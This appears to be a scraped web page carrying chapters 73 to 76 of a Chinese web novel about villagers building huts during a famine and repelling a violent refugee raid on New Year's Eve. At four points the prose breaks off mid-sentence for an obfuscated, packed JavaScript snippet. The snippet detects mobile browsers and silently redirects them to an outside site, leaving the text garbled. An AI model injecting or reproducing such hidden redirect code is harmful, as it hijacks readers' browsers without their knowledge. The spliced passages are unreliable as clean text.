傅娘子思喃着这个问题，而手上则拿着一块烘热的尿布进厢房来，打算与小虎换上，且听乔阿婆说着什么帮不上忙的愧疚话，她浑黄的眸底不禁划过一道光亮。 “怎么会帮不上忙呢？”傅娘子抿唇轻笑道：“阿婆，我打算在我家院墙后头加盖两间茅屋，倒不知根茂他们兄弟几个愿不愿意帮这个忙？” “什么？盖茅屋？”乔阿婆惊愣出声，但瞧得一旁的袁大娘亦是一脸怔懵的神情，她便猜想傅娘子这是临时起意。 “您放心，同先前杀猪一样，我家管饭。”傅娘子呵呵直笑，话音间似乎已经下定决心。 看着傅娘子那张泛着莹亮神采的侧脸，袁大娘接过尿布的手不禁僵滞下来，她嗫嚅地动了动唇，“娘子，你是不是觉着住着不自在？但那张床已快支好了……” “挤睡处并不算什么。”傅娘子轻摇了摇头，定定地袁大娘说道：“我只是想着，虽说怜儿如今有了小虎，身子也大不如前，可咱们总要为她的将来打算不是？难道您打算一直让她当寡妇？” “她不过才十五岁……” 袁大娘的额间不由得一阵紧皱，她轻吸了口气，“我怎么舍得就让她一个人带着小虎过日子呢？没甚倚靠，往后还有几十年的苦日子要她熬下去……这是作孽么不是？” “如今家里还有我那远房的傅震侄儿住着，可不知村里人会说道什么难听的话呢？虽说只有几个月的时间，等饥荒过去你和怜儿便要离开了，可是……” 袁大娘怎会不明白傅娘子的顾虑？ “父母之爱子，则为之计深远”，事实上她比谁都清楚女儿的心思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924401|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，可傅震既有他日避离的想法，她对怜儿再嫁的事便要再思量一番。 乔小遇家要盖茅屋的消息很快便在村里传开来…… “四哥四嫂他们既然无意搬家，总挤住在一处也不是什么长久之计。”刘菜粉在饭桌上听乔长田提说起这事时，眉色一阵紧蹙，而她的话音却依旧淡淡的，“盖房这事终究有些费工夫，别看着他家过年时人多得怕是桌子都挤不下，可做活时人却没几个。” 乔宝树轻瞥了眼他娘的神情，旋埋头扒了口荞疙瘩饭，口中糊混说道：“娘，我想去帮小遇家的忙……” “就你？”刘菜粉嘴角挑起一抹笑容，问道：“你是会锯木头，还是会夯土墙呢？” 乔宝树闻言情绪微沉，一旁的乔长水见状连忙搭腔道：“左不过是些使力气的活罢了。咱没吃过猪肉，总见过猪跑的不是？” “怎么，长水你也想去帮忙？”刘菜粉暂停了咀嚼食物，凝眉问道。 “这大冷天的咱家里不也没事做嘛……况且我在旁看着也能学点东西。以后我媳妇进门了，我总要另外盖房的，总不好一直与你们住在一起的不是？”乔长水眯了眯眼，朝他大哥乔长田促狭一笑。 乔长田不禁摇头叹笑：“长水能有这样的打算，大哥心里是很安慰的。我总不能把你当成宝树一般养着啊，那可真成儿子了。” “再说我之前离家去与陆氏族长禀说山林的情况时，傅娘子上门来寻你嫂子……”乔长田嗓音微顿，余光轻从刘菜粉的面上划过，接着沉声道：“你嫂子避而不见，不知人会不会多想呢，你们叔侄俩过去帮下忙，也是应该的。” 桌上气氛倏然一滞，乔宝树哥几个投落在他们爹娘身上的目光不由得来回流转…… 只乔长田像个没事人一般继续吃饭咽菜，而刘菜粉则显得有些尴尬，不住地往口中扒着荞疙瘩饭，似乎已经忘了夹菜的事。 乔长水将心头的复杂情绪敛起，口中咧嘴笑允：“便听大哥的。” 他表面上一副不曾多想的模样，而饭桌下的小腿却轻轻勾过乔宝树，待人怔怔抬眼，对乔宝树回以一道窃笑。 若非为了帮他这个大侄儿，乔长水如何不想在家里闲上一段时日呢？ …… 乔长水叔侄俩也是来到乔小遇家帮忙后才知晓人家管饭的。 他们原本不想麻烦乔小遇一家，心里存了回家吃的主意，然等他们闻见石墙那边所传来的饭菜香气后，倒索性留下做了整天的活。 村里人听说供饭这茬事，陆续又来了几个人过来帮忙，乔冉安夫妻俩见状自是眉开眼笑。只当中也有几个教他们夫妻俩为难的，比如丁小娘子一家。 村里人的忘性没有那么大，但瞥见丁小娘子携了一双儿女过来的情形，各都停下了手头的活计，不自觉地将视线转投过来。 锯木的聒噪声与男人们夯墙时的齐号声中断后，丁小娘子与傅娘子的对话已然清晰可闻…… 73. 掩尸敷衍 一边是请求的语气，一边是犹豫的话音，而周遭那些明明微屏凝住的呼吸声却与夏日里噪鸣不已的蝉叫声无异，直让傅娘子觉着耳根子处一阵刺疼。 乔小遇上前把她娘拉到一边，低声说道：“娘，咱们总不好漠然视之的，况且之前乔荣兄妹俩还帮过咱家一些忙。” “你说的娘怎么会不知道呢？可咱们犯不着与乔大闯家走得过近。”傅娘子的手指紧缠作一处，皱眉说道。 乔小遇沉叹了声，口中不紧不慢地说道：“但这事是咱们说了算的，旁人便只能眼看着而没有发表看法的立场。再说走得近与不近，您回身一瞧，除了根茂叔他们几家，那些过来帮忙的有几家与咱们来往得相对多些？” 乔冉安亦动了恻隐之心，在旁低声补充道：“你若担心有人多说闲话，咱家不是还存下了些铜板么，回头与人各发一些堵话……” “你少发善心出馊主意啊我与你说，那些铜板是咱们攒着买牛的！”傅娘子斜瞅了眼乔冉安，见他呵笑着缩了缩头，没好气地轻哼了声。 “小遇说的是，这事旁人没有插嘴的地儿。这房子早一日盖好，袁大娘他们便能早一日安定下来……别的不说，就是有流民来，咱们躲朝后院去也能多少挡一会儿。”话音落毕，傅娘子便直接折身往丁小娘子的方向走去了。 此时的她，并没有想到有朝一日自己会一语成箴。 锯木声与夯土声又开始响了起来，而当中亦还夹杂着一些碎语声…… 傅娘子考虑到了这点，所以她没有安排丁小娘子他们往帮工的人堆里攒去，只让丁小娘子母女俩在灶房里帮乔小遇的忙，而乔荣这个已能使得上力的大小伙子则被她唤了同乔宝树一道去砍竹割草了。 乔丫丫不是个机灵的，到了灶房也只能做些烧火添柴的杂事。丁小娘子且看着锅里的滚汤打沫，见女儿将火凑得大了，总少不得吱声教导，只渐地便也没了耐心。 “你这丫头怎么连这点事都做不好？你看看你小遇姐姐那刀功那厨艺……我是指望不上你能到那份上了，但你起码让帮工的人进门时能得一口温水喝成不？” 见乔丫丫复又将头沉埋了下去，丁小娘子直忍不住摇头沉叹：“便只说你两句，你就丧个老脸不出声了！我还说你说错了是么？” 乔小遇提了一截猪肠子过来时，便又碰上这对母女俩发生争执的情形…… 她虽看不到乔丫丫面上的表情，但在乔丫丫那双破了大脚趾洞的鞋尖前端，乔小遇却分明看到了几滴将泥尘打湿的泪滴。 “自乔丫丫她爹进大牢后，丁小娘子的性子便比从前要暴躁许多，只不能尽往子女们身上撒气啊……” 乔小遇呼吸微沉，旋偏侧过头，与丁小娘子笑说道：“丫丫她做事虽然拖拉些，但却细致得很，这也是她的好处……之前便听我二婶夸丫丫说，她是个能卯了劲力做事的姑娘。” “你说的乔根茂他媳妇儿？”丁小娘子狐疑着眼，但见乔小遇微笑颔首，嘴角不禁斜往上挑，笑道：“她也是个爽利性子……” 总不过两句笑语，场间这不愉快的气氛很快便消解了去。 倘若外间不曾发生什么变故，各人都能依照原本的轨迹生活下去便好了——连日来乔丫丫不止一次地在心里这般想。 从前乔荣总道说妹妹缺心眼，可如今的乔丫丫却敏|感得过分，也默然得过分。她将所有的情绪堆积着，如同之前陆家山林里所覆盖的黄松毛一般，因鲜少有人抓搂，松毛渐堆渐厚…… 只莫瞧着最上边那一层还泛着金黄色，便以为这松毛抓回去能用，但使篾耙齿触及泥面，将这些厚厚的松毛抓至跟前，而底部那层细脆的淡灰色松毛落入眼中，人才会觉着不可置信。 乔荣对妹妹的情绪变化有所察觉，但他想象不到问题有多严重，遑提说丁小娘子？自觉家中负担尽都压在自己身上的丁小娘子，是没有那个精力去关注女儿的心绪变化的，她只是愈发地冷硬而直接。 而乔小遇有意无意的关护确在无意中成为了乔丫丫用来抓搂松毛的一把竹蔑耙…… 如这日。 乔小遇趁着自己还不曾往簸箕里的玉米饭上洒水，用干净粗布捏了几个饭团，待唤乔小佩将饭团拿了去与阿婆的几个孙子吃后，她又给乔丫丫捏了一个。 乔丫丫的脸上是一片通红之色，倒不知是天气湿冷的缘故，还是因为她一贯的羞怯。令乔小遇惊讶的是，乔丫丫却是在递与她一个桃花样式的香包后，才伸手接过那玉米饭团的。 “送你的……里头且装了几块干果，但味道并不怎么浓，等到春日里你放几朵桃花进去，兴许会好些。”乔丫丫抬了抬眼，待见乔小遇透白的面庞上浮起一抹明媚的笑意，她心下终于安定了几分。 “没想到你的针线活做得这样好。”乔小遇的眸底仿佛映染上了一层盈盈跃动的火光，接着说道：“针脚这样细密，连背面都丝毫不差，可见你是下了一层功夫的。” 乔丫丫抿唇一笑，“但我会的针法就上头这两三种，家里也没有什么颜色好看的细线了，我只能将就着做成这样。” “我是没法枯坐着绣这些东西的，但你却能静得下心来。回头你得闲了，便到我家来让我娘教你一些针法，且如今袁大娘也在我家，她是个老裁缝了，手头上的粗茧比那鞋垫还厚，定是能帮到你的。” 乔丫丫闻言不禁眨巴了几下眼，接着连声点头。 此后每夜，乔丫丫都会来到乔小遇家学针线。她学得很快，引得傅娘子连声夸赞，而袁大娘也说想收了乔丫丫做学徒，等回头他们重新盘间铺子开裁缝店，便让乔丫丫跟着去帮忙。 乔丫丫心下存了几分犹豫，笑说要与她娘商量一番才能做决定。但毫无疑问的是，乔小遇家炉灶里所泛起的那抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924402|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灼亮光色终如一股无形的火焰般，尽将乔丫丫心头的那堆松毛给烧了个完全。 …… 再过两日便是除夕了，天空却开始下起阵阵淅沥的小佩。 于是白日间，阴云沉蔓的光影从河头铺到了河尾，于是泥尘混了冰冷的雨水，颜色由黄转褐，于是石墙之后的茅屋，有屋无茅。 便等那轮泛着寡白光色的太阳从山头里冒出来，才能再动工了。 趁雨暂歇，乔小遇依着她娘的吩咐，带着傅震去乔长田家背了些生石灰来，打算就着这几天得闲，把家中的两面土墙抹些泥灰后，刷成白墙。到底要过年了，家里怎么也得好好拾掇拾掇。 说来，这些生石灰原是之前防治牛疫期间，由乔长田带着村里的农户去隔壁镇上背回来的，可如今却有大半被空置在这间屋子里。 乔长田的脸色是掩不住的沉黯，偏他嘴角还扯出一丝笑容道：“小遇，你家需用多少尽管搬……反正村里的猪牛大多都死了，这生石灰放在我家我还嫌占地方哩。” “竟剩了这么多……难道官差们掩埋猪牛尸体时没有用生石灰仔细处理么？”乔小遇皱眉喃声道。 傅震正打算放下篮子搬石灰，且听乔小遇这般说，不禁怔眼朝他二人瞥来。 “别提了，当时魏医官左右叮嘱，那些官差还不是偷天换日头？”乔长田无奈地摆了摆手，苦笑道：“等后来掩埋死畜的事落到村里人身上后，你猜我们进山都看见了些什么？” “他们挖的那是坑洞么？浅得能教山里的野兽将死尸刨出来啃食！之前运进山里的石灰也不曾见他们用，竟随意堆放着任由雨淋的。渐的，野山林中有不少兽物染上了疫病，麝鹿虎狼皆死，蛇虺横尾路中，当真是触目惊心①……” “到了那地步，拖罗河周边村子里运去的死尸哪还有掩埋的必要呢？大家伙都不当回事了。” 听着乔长田那有气无力的话声，乔小遇与傅震是一阵长久的沉默。 十年前所发生的那场牛疫和饥荒，无疑给乔小遇她爹娘这一辈人带来了无法弥补的创伤，当时可以说官府没有经验应对，而今朝廷既置群牧司，便能看出对这场牛疫的重视…… 可局面依旧没有好到哪里去。 乔小遇不由得心生惘然，而傅震与她不同，微黑的面上一直挂着冷淡的神情。 “小遇，你前面两步就是水坑了，你要径直踩进去么？”走在乔小遇斜侧方的傅震终于叹声打破此间沉默。 乔小遇被他惊得一个急停，加之鞋底打滑，人虽不曾踩进水坑，却也实实在在地摔了一跤。 “害得我要洗衣服了！”感受着自臀|部与腰背处所传来的那股冰凉感，乔小遇的嘴角不由得朝下一瘪。 傅震摇了摇头，上前将她扶起，叹道：“你这脑子里都在想些什么有的没的呢？从里正家里出来后，你便一直发怔。” 74. 流民来犯 乔小遇微凝的视线静静探向跟前那滩浑浊的泥水，片刻后方才缓声启口：“你看那路边的杉树，不管它绿意多深，投射|在泥水里的光影终究是黑的……” “嗯？”傅震诧异地紧拧起眉，看朝乔小遇的目光渐变得晦涩起来。 且听乔小遇接着喃喃说道：“明明是冬天，可泥水表面却还有水黾来回滑行，真是绕得人心烦。” “等天气暖和些，泥水蒸发不见，这水黾便不会碍着人眼了。”傅震深看了眼乔小遇，那股原本附着在他面部轮廓边缘的冰凝感竟不自觉地消减了些。 他接着道：“只天气是否转晴，不是咱们能定的，小遇你又有什么好想的？” “听来确是这般……”乔小遇不以为意地摇了摇头。 傅震见她这般，眼角轻弯了弯，旋折身踏步朝前走去，留给乔小遇一道宽阔的身影。 外间局势如泥潭中水，水黾或如肆意横行之恶匪，或如敷衍了事的治疫官差，便常缭绕爬行于泥潭表面，人也因此蔽目，试问能看清什么呢？ “原以为农户便仅惦念着田间地头的那几棵芽苗，裁缝便仅关切当日铺中来了几个客人，可没想乔小遇的心思却如高树一般有枝桠可分。”想及此处，傅震脚下的步子稍稍放缓了些。 然他接着却又摇了摇头，“即便能分长出枝桠，也终究比不得主干笔直粗|壮了，便如镖师转行当木匠，锯木头时一不小心总会偏离墨线……” 傅娘子一家是因为不曾身处局中，所以不必想这局，而傅震却连一个镖师都称不上。若将自己也看成一株高树，傅震可恨不得自己生得光秃秃的，这般一来，他便往密林间随意一站，也占不了多大一块地方。 不占地方，便意味着没有什么存在感；没有存在感，便意味着足够安全。 但傅震的身影已然落入乔小遇的眼帘……如同地头的那片翠竹摇曳摩挲着，人转目一望，便也成了道细碎斑驳的光影。 白日天光阴沉，光影亦暗，乔小遇还不觉着傅震身上有什么特别的地方，可当夜色被火光侵噬时，流民进村抢掠的情形却教她惊睁开了双眼，而她也更加确定了心里的想法： 傅震不是一个普通的镖师，也不是一个很厉害的镖师。 自傅震身上所弥漫出来的狠劲与杀意终究过于赤|裸，过于浓烈了些…… 明明没有风，然河岸边那些明亮的火舌却不住地抖动着，仿佛要将河里的水给灼干一般。 但听得外间喧声锣鸣，屋里人的心忽地沉了下来，而因噤声不语，原由灶炉所带来的热闹气氛直转为凝滞。 “此番围聚过来的流民竟是大张旗鼓的？人数必不会少……你们快些往后门退去。”傅震往木窗的夹|隙处探了探头，但瞥得路边那攒聚作一处明亮的火把竟有数十只，连忙回身对乔冉安等人说道。 前些时日里，他们已碰到好几波流民，只最多时人也不过七八个数，但因长途跋涉，那些流民并没有什么招架之力，便当村里人敲起鼓锣、燃起鞭炮时，多已被吓得回头奔逃。 而有的流民会伙同了去专抢一两家，农户们便更不客气了，棍棒伤人是常有的事，打得人头破血流闹出人命的情形也不是没有…… 可在如今这般纷乱的时局下，官府能腾出手来理清丧命者的户籍出处，以断命案么？不能。 即便是重重山屏之外的城郭里，青石街道上也是一副凋敝冷清的景象，官府并无余力去追究那些沾覆在石狮方柱上的血迹因何凝结。 压抑的气氛下，人们唏嘘而惊惶。 保得性命不丢、孩童不失俨然成了村民们的唯一祈求，而在乔麻子家的牛与何照熊的小儿子被人偷走的事接连发生后，每当夜色降临时，村里人便会将警惕性提至最高！ 即便今儿是除夕的日子，大家伙也终究没法暂得个松快了。 乔冉安的声音忍不住颤抖起来：“天爷，怎么会有这么多人？整湾子的人层摞着上，可能挡住他们？只怕……只怕此番被丢进河水里顺道冲走的尸体不再是来犯的流民。” 乔冉安直觉着周身一阵冰凉，便与屁|股下的那条板凳上的温热感形成了鲜明对比。也正因为这种对比存在，乔冉安才愈发地感受到了此间情形的真实性。 “乔冉安你在这乱叨叨什么呢？还嫌人心里不慌？”傅娘子斜睨了眼乔冉安，不禁绷了面皮，跺脚斥道：“你还愣坐着干嘛！快往后院退啊！” 傅娘子一把收起针线，一边吩咐道：“我去抱小虎，你赶紧带了袁大娘子他们一起走。” 虽说为了防止流民来犯，乔小遇家已经做了充足的准备，一些值钱或是关键的东西都被他们事先锁放到了地窖里，奈何家中总有几分难以遮掩过去的年味——比如灶房里飘散出来的猪头肉香。 终究是难以抑住的心急火燎…… 隔壁偏屋传来的上下楼梯的声响已被最大限度的克制，但与周遭粗喘不宁的呼吸声交杂作一处，行步声反似被扩大了好几分。 随着外间的吵闹声越来越近，乔小遇觉着自己的心几乎就要从喉咙口处跳出来了！ 她一边推着妹妹往后门走，只回头瞥得堂中的柴火依旧烧着，连忙把小糯米团子的手交放至乔丫丫的掌心，道：“丫丫，麻烦你去长田叔家里报一下信……便从墙后的土豆地里跑，那里会近一些。” “我知道的……”乔丫丫怔懵着点了点头，只待她觉察过来乔小遇的手指突然抽离出去后，忙问道：“你回去作甚？” 乔小遇低应了句什么，乔丫丫已然听不太清了，但她总要紧护着身旁的乔小佩的。 眼瞧得小糯米团子张口便欲急呼，乔丫丫连忙捂住了她的嘴巴，沉声道：“你瞧小虎都乖生生的，你可千万别出声。” 乔小佩怔怔点头，眼泪已不争气地流淌而出，滑|进乔丫丫的手掌里。 折身回跑的乔小遇先是快步回到灶边， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924403|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 径将地囱上的茶壶提过来倒开，将火熄灭后，又连忙去将家里的门窗闩上。 乔小遇知道流民们必定对烟火气十分敏|感，若人将那道拴挂在院门上的旧锁劈开来后，此间有人住着的痕迹根本瞒不住，但她只能做到这份上了。 而这厢傅震在把潘怜儿母子与傅娘子护至墙外后，竟也跟着折返了回来。且听得后墙处传来几道断断续续的婴儿的啼哭声，傅震的脚步不由得一顿…… 这下可好，原在院外徘徊的流民是真的驻足了。 人用斧头劈锁的声响实在刺耳，而有那么几个等不及的，竟直接从乔小遇家的石墙上翻了进来。 屋内光线沉暗，但傅震的眼睛却似什么都能看见一般。他连步直往门后的乔小遇走来，一边沉声道：“快往后门去，这里我来应付！” “你怎么回来了？”乔小遇摸着板壁往后退开，而呼吸已不自觉地被那道粗暴的敲门声给紧逼得吞咽了回去。 正门一时难以被人破开，可借着火光，流民却从自家那扇只余得一条指缝的木窗处探了眼进来。 “当真有人！大家伙给我砸！” 一时间人声吵嚷，火把的“噼啪”爆声混在其中，仿佛要将此间所有给彻底引爆开来，而乔小遇那双如琥珀般的眸子好似有了融化的迹象…… 不是来不及，而是木窗处的缝|隙口已被人越扒越开，那紧盯着屋内情形的眼便不仅是一只的数……乔小遇与傅震的面容已然被映在一双双微凸的眼球上。 这情形实在令人心悸。乔小遇的后背紧贴了板壁，一边轻挪脚步，欲将身形隐入暗处。 傅震咬牙抵了门片刻，而在瞧见对方拿了斧头破窗的情形后，径直后退两步，一把将乔小遇往过道门处拽了过去。 “上楼！”傅震的动作有些粗鲁地把乔小遇往楼梯上推了一把，接着转步到屋角里寻了斧头出来，上手就往楼梯中部砍！ 乔小遇脚下一震，差些为此踩空，好在她的手已然扒到了楼板那一层……楼梯断裂之前的最后几步，乔小遇是惶惑而紧张的，而她因姿|势匍匐着，楼梯上的那层细灰已被她吸了满腔！ 她不解地朝傅震看去，却只看到了一道宽阔的背影，以及一把沉暗的斧头！ 流民终于破开了窗！然而不等他们跃身进来，就迎来了头身分离的局面。乔小遇趴在楼板上，从过道门看过去，却瞧得两三个头颅滚到灶炉边的情景！ 被她浇熄的炉子或许已经转冷，但从断裂的脖颈处所渗出的鲜血却无疑是温热的。 随着人身倒地，火光暗下一层，可等正门被人劈开，光线复明，断头上的那几只眼珠里所被凝固住的惊恐之色便如一道洪流般迅速冲刷过乔小遇的四肢百骸！ 家里的那把斧头因常年砍柴而早已布满缺口，乔小遇以为它很钝的，可没想…… 斧头沾了血便不再是普通的斧头，提着这斧头的傅震便不再是平日里普通的傅震。 75. 护之周全 “之前，爹因为见识过傅震动手时的直接模样而觉着心下安定了几分，而若他看到傅震此时的凶狠与暴戾，且不知会怎么想……”乔小遇不禁暗叹道。 斧头去到了院中，搏斗亦去了院中进行，而乔小遇虽然紧睁着眼，但她目及处终究是一片黑暗了。 夜风里，乔丫丫跑得飞快，提脚时不免折断了些土豆苗杆。这情形若放在平时，定会惹得傅娘子骂咧几句的，然此刻的傅娘子哪里还顾得上这个？ 见乔小遇没有跟过来，傅娘子急挣着想要回到前屋去，却被乔冉安死死拉住。 听着从前院所传来的剧烈的打斗声，潘怜儿的身体是一阵止不住颤抖。她轻轻地摇晃着怀里的小虎，却始终没法子使小虎停住哭声…… “别哭了！”潘怜儿的心神愈发地焦躁难安了，竟忽地提了几分声量！婴孩断断续续的哭声直咋转为尖刺的长嚎，屋内众人皆循声回头…… 袁大娘急叹了声，忙伸手抱过孙儿轻哄，一边指责潘怜儿道：“小孩子受不得这种惊吓，你这没得吼他做什么？” 潘怜儿闻声稍偏侧过了头去，而泪水夺眶而出…… 她心下忧惧异常，泛红的眼朝上微抬了抬……屋顶还未来得及铺设完全，点点繁星映入她的眼帘，而这星光到底过于黯淡了些，若他们还在泗淮城中，这个日子里应当有漫天的璀璨烟火。 这一切的改变都源自于此时正在前屋抵挡流民的那个男人。 潘怜儿的嘴角轻泛起一丝苦涩的笑容来。她完全能够想象傅震此时正在经历着什么，也相信傅震定会护乔小遇周全，便如当初护着她一家人一般。 “我怎么会将小遇落下了呢？她会不会有个什么万一？”傅娘子粗糙的手指紧将她心口处的衣服揪作一团，不停地在屋内来回走动。越想越怕的她，目光旋又回落到门闩上。 因是新做的门，上头刚刷的油漆还不曾干，傅娘子伸手覆上去后，径在上头留了一层指纹。 “您不用担心，小遇不会有事的。这种场面，傅震不是没有见过……”潘怜儿话音定定地道。 复被乔冉安给围拉回来的傅娘子听得这话，身形不禁轻滞，喃声问道：“可外头那么多人，火把子都将整条河给照亮了……” “丫丫已经去报信了，只消傅震在外头多抵一会儿……”乔冉安的话音渐沉了几分，额间紧皱的他终究急躁道：“村里的鼓锣声怎还不见响起来？” 事实上，乔丫丫方才跑出去片刻，村民们哪能这么快就聚过来？乔冉安夫妻便只觉得仿佛被置身于一条火河之中，成为了一条不敢上浮呼吸的鱼，而背上的鱼鳞已几乎被灼烫得变了颜色。 见此情状，潘怜儿与袁大娘面面相视了瞬，终究心感无奈，只能重新将视线偏转至一旁。 这厢乔小遇的口中亦是一股咸涩之味……她是暂时得以安全了，可傅震的的处境她却无从得见。 她小心翼翼地正想从楼梯口探出上身，差些便又撞上冲进屋内的流民——乔小遇吓得抖了个机灵，赶忙将身体重新缩了回去。 院中继续传来凄厉的惨叫声，乔小遇听来，竟直觉有百千只蚂蚁正沿着她的手臂不断地向上爬行…… 蚂蚁隐入了她的头发丝里，而其所带来的恐惧感便在乔小遇脑海中被放大了无数倍！她撑扶着背靠着的板壁，侧身过来并开始试着轻轻扒动板壁上的嵌木…… 家里所造的这种木屋子样式，是由几根粗木柱子作为支撑的，而在木柱的两个对面，则被人凿出了对应的凹槽，用来放置木板。斧锤之声铿锵，被锯木改好的木板便会以适当的力度嵌入其中，严丝合缝。 但乔小遇听她娘说过，家里最初盖房时，乔冉安因被几个兄弟为难，盖房的木料多砍的的水沟边长着的白桦树，而这些树长得弯折，也并不粗壮，锯木时往往被改成了窄条…… 可柱子间本就不怎么齐平，窄木条被斧头契进前左修又改，终究在板壁间留下了些细缝。 乔小遇晃动了下板壁，但中间的缝隙仅能透过一丝光线而已，她转动眼珠，始终没法将外间的情形看清楚。 没敢弄出太大的动作，乔小遇便只伸手在楼板上细细摸抓着，想着能寻到什么东西把板壁缝隙撬开一些就好了。 干木枝柴过细的不禁用，过粗的没法用，乔小遇几次摸到手里又只能丢开。她的手心里一直不停地冒着虚汗，于是泥灰覆了一层又一层…… 等摸到板壁上所挂着的新篾耙时，乔小遇终于松了口气。她清楚地记得，这只篾耙是她爹新编的，顶端的篾爪是则用的铁线…… “当初因着乔麻子家的牛要赶着使，家里都没能用耙子耙地，虽然地里的土疙瘩尽用锄头打碎了，可这泥地终究有些过硬，为方便人抓了玉米草杆去烧肥，爹亲自编了这铁竹篾耙来用……” 乔小遇心里低叹了声，手上动作却毫不犹豫地将篾爪抽了几根出来，接着便往她最先掰挪过的地方撬起！ 缝隙终于被开出了两根手指宽的宽度，乔小遇挑撬着两边的木板，并睁眼朝院中看去…… 黑压压的人影，此时便同那些争相上前抢食的乌鸦一般，至往水井旁边围去。乔小遇看不见傅震的身形，但她确定傅震就在那处！ 流民远比她想象的还要多…… 且瞧得院前那条行向村中的泥道上已有点点火把驱进，乔小遇只怕村民们一个猝然不及，当他们需要多分散出精力来应对那小股人流时，便暂时没人能够顾及到自家这边了。 乔小遇直觉爬进她头发丝间的蚂蚁已经叮噬起她的头皮来，她为此没来由地感受了痛楚，不禁倒吸了一口凉气，唇角轻“嘶”出声。 傅震的打法俨然已经失之规则，斧头在空气中的划痕亦无规律可寻，但有颜色可辨。 红色的鲜血看来依旧滚烫，犹如那簇簇抖动着的舌火一般，带了摄人的力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924404|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度……乔小遇的瞳孔一阵紧缩，掌心里所渗出的汗液已然凝成一道泥灰色的细流，沿着她的腕部滑落下来！ “嗖，嗖——” 便在这时，几道箭矢竟撕裂了黑夜的沉凝，破空射|来！ 清脆的马蹄声在这个几乎要将人焚尽的夜里却带了一种安静人心的力量。 随着两三条拥在石坎上往外搬东西的人身倒软在地，乔小遇的呼吸不由得一阵紧屏，她分明看到，射来的四支箭中其中有两支落空了，而方向也偏斜得十分厉害…… 虽无法仔细分辨箭支颜色，可眼前的情形实在令人熟悉……在一片苦斗声中，乔小遇低匍在板壁上，竖耳听辨着马蹄声响。 乔小遇重重地吐出一口气来，又使劲将板壁的隔隙撬得开了些，睁眼往院门口的方向看去！ 她的眸底泛起一抹灼亮的光芒，仿佛春日里蔓烧开去的整埂荆草般，若有燥风相送，便会忽地烧枯一片，而火星子甚至会被带至十丈以外的地方…… 箭头接着又飞到了石井口边——乌鸦被射掉落了翅膀，棍棒与火把便也跟着滚落到了地上。 “难道是村里的猎户？”傅震面上因这幕“及时”的变动而牵浮起一股喜色，然等他趁乱回头，见两人两马直往院中冲进来的情状后，傅震手头的斧影无疑变得缓滞了几分。 骑马的少年郎面貌清俊，所着披风飘在身后，而边角成形，直带了一种锐利感。 “当心！”高扬急呼出声提醒，奈何一把长镰已迎着傅震的左边胳膊斜砍了下去！ 说时迟那时快！ 陆桓侧翻过马背，拾起地上的一根粗|棍便朝那手持长镰的流民扔了过去！ 棍|棒打在了人胳膊上，而好在傅震方才是用斧头把的一端死命抵住的，随着这长镰“砰”地掉落在地，傅震不过臂上留下了一条长长的血口！ 陆桓身上已无箭可射，但这并不妨碍他使用赶猪棍一类的东西……他的手法并不似傅震那般似到了气尽力竭之时的粗钝，而是凌厉而致命。 随在陆桓身后的高扬，且见得他下手不留余地的模样，不由得薄唇紧抿，下颌处绷为折线……只高扬并没有多少时间恍神，面对那忽然从侧边簇拥上来的三四条身形，他不得不小心应对。 乌鸦“无牙”，然隔得近了，陆桓便看清了流民嘴巴里的那两大排泛着黄褐色牙渍的牙齿——这让他有些嫌恶与心悸。 几棍挑得人翻倒在地后，陆桓回瞥了眼高扬那边的情形，才将目光转至身前的傅震身上。 他黑沉的眼珠四周已围染上了一层血丝，便与这四方的小院一般——幽深的石井布处中央，周围散摆着二三十道尸体正汩汩地渗冒出鲜血！ 井水凉瑟，而陆桓的眸底渐涌上了一股异样的情绪。 傅震亦回视向陆桓，但他仅撑了一息不到，心头便没来由地慌了……他紧忙侧撇过下巴，做出一副探看伤势的模样。 76. 打情骂俏 陆桓见状，鼻腔中轻哼出了口气，旋将手头的木棒丢至一旁，“砰——” 棍棒终究滚落到了傅震那因存意避开而低垂的视线里…… 